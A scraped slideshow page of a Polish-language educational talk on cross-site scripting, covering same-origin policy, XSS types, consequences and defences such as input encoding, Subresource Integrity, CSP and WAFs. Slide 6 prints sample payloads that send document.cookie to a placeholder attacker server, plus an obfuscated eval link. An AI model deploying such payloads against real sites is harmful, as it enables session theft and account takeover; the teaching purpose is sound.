Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

TGT#20 - Ataki XSS - Robert Charewicz

25 views

Published on

TGT#20 - Ataki XSS - Robert Charewicz

Published in: Technology
  • Be the first to comment

  • Be the first to like this

TGT#20 - Ataki XSS - Robert Charewicz

  1. 1. ATAKI XSS Mechanizm działania i zapobieganie Robert Charewicz, 30.05.2018
  2. 2. KIEDY ZAWARTOŚĆ STRONY JEST WIDOCZNA W JS ?  Skrypt powinien pochodzić z tego samego źródła, co strona, której dotyczy.  To samo ograniczenie dotyczy ciasteczek (pliki cookie) przechowujących sesję użytkownika.  Przykłady: https://www.kainos.com i http://www.kainos.com – różnią się protokołami  Skrypt nie będzie w stanie pobrać zawartości drugiej strony. http://kainos.pl:8443 i http://kainos.pl:8080 - różnią się portem  http://www.kainos.pl i http://kainos.pl - różnią się domeną  https://kainos.pl/kariera i https://kainos.pl/o-nas – OK 
  3. 3. CZYM JEST XSS ? Cross Site Scripting – Atak polegający na wykonywaniu skryptu(ów) i przekazywaniu wyniku na inny serwer. Skrypt jest wykonywany na komputerze użytkownika. Najczęściej pobiera związane z nim dane – ciasteczka, tokeny, …, mając dostęp do całej zawartości strony.
  4. 4. KONSEKWENCJE ATAKU  Wykradanie ciastek – pozwala na przejęcie kontroli nad kontem bez posiadania haseł!  Wykradanie danych pól formularzy, w tym haseł  Przekierowania do innych stron (często identycznie wyglądających – phishing)  „Zawieszanie” się witryny dla wszystkich innych użytkowników (Denial Of Service)  Uruchomienie keyloggera – przechwytującego każdy wprowadzany znak z klawiatury  Wykonywanie akcji uprzywilejowanych, np. jako administrator!
  5. 5. RODZAJE XSS  Reflected - link zawierający w sobie parametr [kodowany skrypt], którego otwarcie przez użytkownika, wykonuje go.  Stored – przechowywany na serwerze (strona, baza danych, …). Wykonywany z chwilą otwarcia strony zawierającej złośliwy kod (na przykład w komentarzu na blogu)
  6. 6. PRZESYŁANIE DANYCH DO ATAKUJĄCEGO Obowiązuje nas Same Origin Policy… Nadal możemy zmusić przeglądarkę do załadowania czegokolwiek – przez manipulacje w samym źródle strony – cały czas mając zmienne pochodzące z JS!. Na przykład: <img src=”#” onerror=onerror=this.src='http://serwer/?c='+document.cookie> <script>window.location=’http://serwer/xss.php?xss=document.cookie’</script> <a href=” http://xyz.com/?s=eval%28String.fromCharCode%28118%2C97%2C114%2C32%2C9”>Click</a> https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
  7. 7. Prezentacja ataku
  8. 8. ZAPOBIEGANIE I OCHRONA  Nigdy nie ufamy temu, co wprowadza użytkownik!  Należy testować każdy parametr każdego żądania, oraz każde pole wprowadzania (input) w aplikacji.  Tam gdzie jest to możliwe, nie stosować znaków specjalnych.  Walidacja wprowadzanych danych przychodzących do serwera oraz po stronie klienta  Znaki specjalne - np. <, >, /, ”, &, {, }, oraz każdy inny, mogą zostać zapisane w postaci encji; na przykład: &lt; oznaczający znak mniejszości <. Należy sprawdzać ich występowanie w ciągach znaków.  Warto zastosować Subresource Integrity – pobierając skrypt ze stron zewnętrznych (które również kiedyś mogą zostać zaatakowane) <script src="https://code.jquery.com/jquery-2.1.4.min.js" integrity="sha384- R4/ztc4ZlRqWjqIuvf6RX5yb/v90qNGx6fS48N0tRxiGkqveZETq72KgDVJCp2TC" crossorigin="anonymous"></script>  Wykorzystanie CSP (ogranicza źródła z których mogą być pobierane inne zasoby w stronie): https://sekurak.pl/czym-jest-content-security-policy/
  9. 9. ZAPOBIEGANIE I OCHRONA – C.D.  Wykorzystanie WAF – Web Application Firewall – wykorzystujących zbiór ściśle przestrzeganych reguł, zezwalających na wybrane żądania w aplikacji. Posiadają one tryby Learning, w których ”uczą” się, jakie zapytania są prawidłowe. Przykłady – NAXSI (nginx) i ModSecurity (apache)  Sprawdzanie nagłówków strony – np. wymuszenie kodowania UTF-8 w tagach meta, nagłówki HTTP  Ostrożne podejście do linków (szczególnie w e-mailach) z dużą ilością zakodowanych encji:  %28118%2C97%2C114%2C32%2C92897%2C108%2C101%2C114%2C116%2C40%2C39%2C116 %2C101%2C115%2C116%2C39%2C41%2C59%29%29 […] https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet https://sekurak.pl/jak-w-prosty-sposob-zwiekszyc-bezpieczenstwo-aplikacji-webowej/
  10. 10. Q & A

×